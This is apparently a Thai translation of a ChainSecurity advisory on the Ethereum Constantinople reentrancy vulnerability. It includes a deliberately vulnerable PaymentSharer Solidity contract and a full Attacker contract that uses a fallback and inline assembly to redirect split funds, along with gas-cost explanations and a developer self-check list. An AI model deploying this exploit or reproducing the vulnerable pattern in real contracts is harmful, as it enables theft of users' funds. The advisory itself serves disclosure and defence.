รายละเอียดช่องโหว่ของการอัปเกรด Ethereum Network Constantinople
ชื่อระดับแรก
เกิดอะไรขึ้นกับรหัสนี้
ด้านล่างนี้เป็นสัญญาอัจฉริยะสั้นๆ ที่ไม่เสี่ยงต่อการถูกโจมตีซ้ำก่อนกรุงคอนสแตนติโนเปิล แต่เกิดขึ้นหลังจากนั้น คุณสามารถค้นหาซอร์สโค้ดแบบเต็ม รวมถึงสัญญาของผู้โจมตีได้ที่ Github ของเรา
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);
}
}
<ตัวอย่างรหัสช่องโหว่ใหม่>
โค้ดถูกโจมตีด้วยวิธีที่ไม่คาดคิด: จำลองบริการแยกที่ปลอดภัย ทั้งสองฝ่ายสามารถร่วมกันรับเงิน ตัดสินใจว่าจะแบ่งเงินอย่างไร และรับการชำระเงิน ผู้โจมตีสามารถสร้างที่อยู่คู่หนึ่งโดยที่อยู่แรกคือสัญญาของผู้โจมตีตามรายการด้านล่าง และที่อยู่ที่สองคือบัญชีของผู้โจมตี ผู้โจมตีจะเติมเงินบางส่วน
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
<สัญญาของผู้โจมตีแสดงเป็นที่อยู่แรก>
ผู้โจมตีจะเรียกใช้ฟังก์ชันการโจมตีของสัญญาของตนเองเพื่อเปิดเผยเหตุการณ์ต่อไปนี้ในการทำธุรกรรม:
1. ผู้โจมตีใช้ updateSplit เพื่อตั้งค่าการแยกปัจจุบันเพื่อให้แน่ใจว่าการอัปเกรดที่ตามมามีราคาถูก นี่คือผลของการยกระดับกรุงคอนสแตนติโนเปิล ผู้โจมตีตั้งค่าการแบ่งในลักษณะที่ที่อยู่แรก (ที่อยู่สัญญา) ได้รับเงินทั้งหมด
2. สัญญาของผู้โจมตีเรียกฟังก์ชัน splitFunds ซึ่งจะทำการตรวจสอบ* และใช้การโอนเพื่อส่งเงินฝากทั้งหมดของคู่ที่อยู่ไปยังสัญญา
3. จากฟังก์ชันการโทรกลับ ผู้โจมตีจะอัปเดตการแยกอีกครั้ง โดยคราวนี้จะจัดสรรเงินทั้งหมดไปยังบัญชีที่สองของผู้โจมตี
4. การดำเนินการของ splitFunds ยังคงดำเนินต่อไป และเงินฝากทั้งหมดจะถูกโอนไปยังบัญชีของผู้โจมตีรายที่สองด้วย
ชื่อระดับแรก
ทำไมถึงโจมตีได้ในตอนนี้?
ก่อนกรุงคอนสแตนติโนเปิล การจัดเก็บแต่ละครั้งต้องใช้ก๊าซอย่างน้อย 5,000 ไกลเกิน2300ค่าน้ำมันส่งเมื่อใช้โอนหรือส่งโทรสัญญา.
หลังจากกรุงคอนสแตนติโนเปิล การดำเนินการจัดเก็บที่เปลี่ยนช่องจัดเก็บ "สกปรก" ต้องใช้ก๊าซเพียง 200 ในการทำให้ช่องจัดเก็บสกปรก จะต้องเปลี่ยนช่องระหว่างการทำธุรกรรมที่กำลังดำเนินอยู่ ดังที่แสดงไว้ข้างต้น โดยปกติแล้วสามารถทำได้โดยสัญญาของผู้โจมตีที่เรียกใช้ฟังก์ชันสาธารณะบางอย่างที่เปลี่ยนแปลงตัวแปรที่ต้องการ จากนั้นโดยการทำสัญญาที่มีช่องโหว่ให้เรียกสัญญาของผู้โจมตี เช่น การใช้ msg.sender.transfer(...) สัญญาของผู้โจมตีจะสามารถจัดการตัวแปรของสัญญาที่มีช่องโหว่ได้สำเร็จโดยใช้ค่าธรรมเนียมน้ำมัน 2300
ต้องปฏิบัติตามข้อกำหนดเบื้องต้นบางประการเพื่อให้สัญญามีช่องโหว่:
1. ต้องมีฟังก์ชัน A หลังจากการถ่ายโอน/ส่งในฟังก์ชัน ตามด้วยการดำเนินการเปลี่ยนสถานะ บางครั้งสิ่งนี้อาจไม่ชัดเจน เช่น การถ่ายโอนครั้งที่สองหรือการโต้ตอบกับสัญญาอัจฉริยะอื่น
2. ผู้โจมตีต้องเข้าถึงฟังก์ชัน B ที่สามารถ (ก) เปลี่ยนสถานะ และ (ข) สถานะที่เปลี่ยนขัดแย้งกับสถานะของฟังก์ชัน A
3. ฟังก์ชัน B ต้องดำเนินการโดยใช้ก๊าซน้อยกว่า 1600 (ค่าธรรมเนียมก๊าซ 2300 - ก๊าซ 700 สำหรับการโทร)
สัญญาของฉันมีช่องโหว่หรือไม่?
เพื่อทดสอบว่าคุณมีความเสี่ยงหรือไม่:
(a) ตรวจสอบว่ามีการดำเนินการใด ๆ หลังจากเหตุการณ์การโอนหรือไม่
(b) ตรวจสอบว่าการดำเนินการเหล่านี้เปลี่ยนสถานะหน่วยเก็บข้อมูลหรือไม่ โดยทั่วไปโดยการจัดสรรตัวแปรหน่วยเก็บข้อมูลบางตัว หากคุณเรียกใช้สัญญาอื่น เช่น วิธีการโอนโทเค็น* ให้ตรวจสอบว่าตัวแปรใดถูกแก้ไข ทำรายการ.
(c) ตรวจสอบว่าวิธีการอื่นใดในสัญญาที่เข้าถึงได้สำหรับผู้ที่ไม่ใช่ผู้ดูแลระบบใช้หนึ่งในตัวแปรเหล่านี้
(d) ตรวจสอบว่าวิธีการเหล่านี้ไม่เปลี่ยนแปลงสถานะที่เก็บไว้ด้วยตัวเอง
(จ) ตรวจสอบว่ามีวิธีใดที่มีก๊าซน้อยกว่า 2300 โปรดจำไว้ว่าการทำงานของ SSTORE นั้นใช้ก๊าซเพียง 200
หากสิ่งนี้เกิดขึ้น ผู้โจมตีอาจทำให้สัญญาของคุณเข้าสู่สถานะที่ไม่ดีได้ โดยรวมแล้ว นี่เป็นอีกข้อเตือนใจว่าทำไมรูปแบบการตรวจสอบผล-การโต้ตอบจึงมีความสำคัญมาก
ฉันต้องทำอะไรบ้างในฐานะผู้ดำเนินการโหนดหรือนักขุด
ดาวน์โหลดไคลเอ็นต์ Ethereum เวอร์ชันล่าสุด:
ไคลเอนต์ Parity ล่าสุด (v2.1.11-stable)
ลูกค้า Harmony ล่าสุด (v2.3 Build 72)
ลูกค้า Pantheon ล่าสุด (v0.8.3)
ลูกค้า Trinity ล่าสุด (v0.1.0-alpha.20)
Ethereum Wallet/Mist เวอร์ชันล่าสุด (v0.11.1)
| ผู้เขียน: ChainSecurity
| คำแปล: Cheetah Blockchain Security Team



